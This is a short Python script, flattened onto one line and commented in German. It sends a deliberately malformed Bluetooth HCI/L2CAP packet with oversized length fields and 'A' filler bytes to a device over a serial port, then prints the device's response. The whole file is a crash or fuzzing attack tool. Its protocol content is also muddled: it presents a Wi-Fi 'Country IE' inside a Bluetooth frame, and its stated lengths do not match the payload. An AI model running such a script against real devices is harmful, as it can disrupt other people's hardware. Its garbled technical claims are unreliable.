import serial import time # Passe dies an den korrekten Port deines Geräts an (z. B. /dev/ttyUSB0 unter Linux, COM3 unter Windows) SERIAL_PORT = "/dev/ttyUSB0" BAUD_RATE = 115200 def send_malformed_country_ie(): try: dev = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) print(f"[+] Connected to {SERIAL_PORT}") # HCI RESET COMMAND – optional zur Initialisierung reset_cmd = bytes([0x01, 0x03, 0x0C, 0x00]) dev.write(reset_cmd) time.sleep(1) # Konstruiertes "malformed" Paket # Beispiel: L2CAP Data Packet mit ungültiger Länge oder fehlerhaften Country-Code im Payload malformed_packet = bytes([ 0x02, # HCI ACL Data Packet 0x00, 0x00, # Handle 0x10, 0x00, # Data Total Length (ungültig/zu groß) 0x0C, 0x00, # L2CAP Length 0x04, 0x00, # Channel ID # Fake "Country IE" (ungültig lang oder manipuliert) 0x7F, # IE ID (Proprietär) 0xFF, # Length (zu groß) ] + [0x41] * 255) # Payload mit Füllzeichen (z. B. ASCII 'A') print("[*] Sending malformed Bluetooth HCI packet...") dev.write(malformed_packet) time.sleep(0.5) # Antwort empfangen (falls vorhanden) response = dev.read(256) print(f"[+] Device response: {response.hex()}") dev.close() print("[+] Test complete") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": send_malformed_country_ie()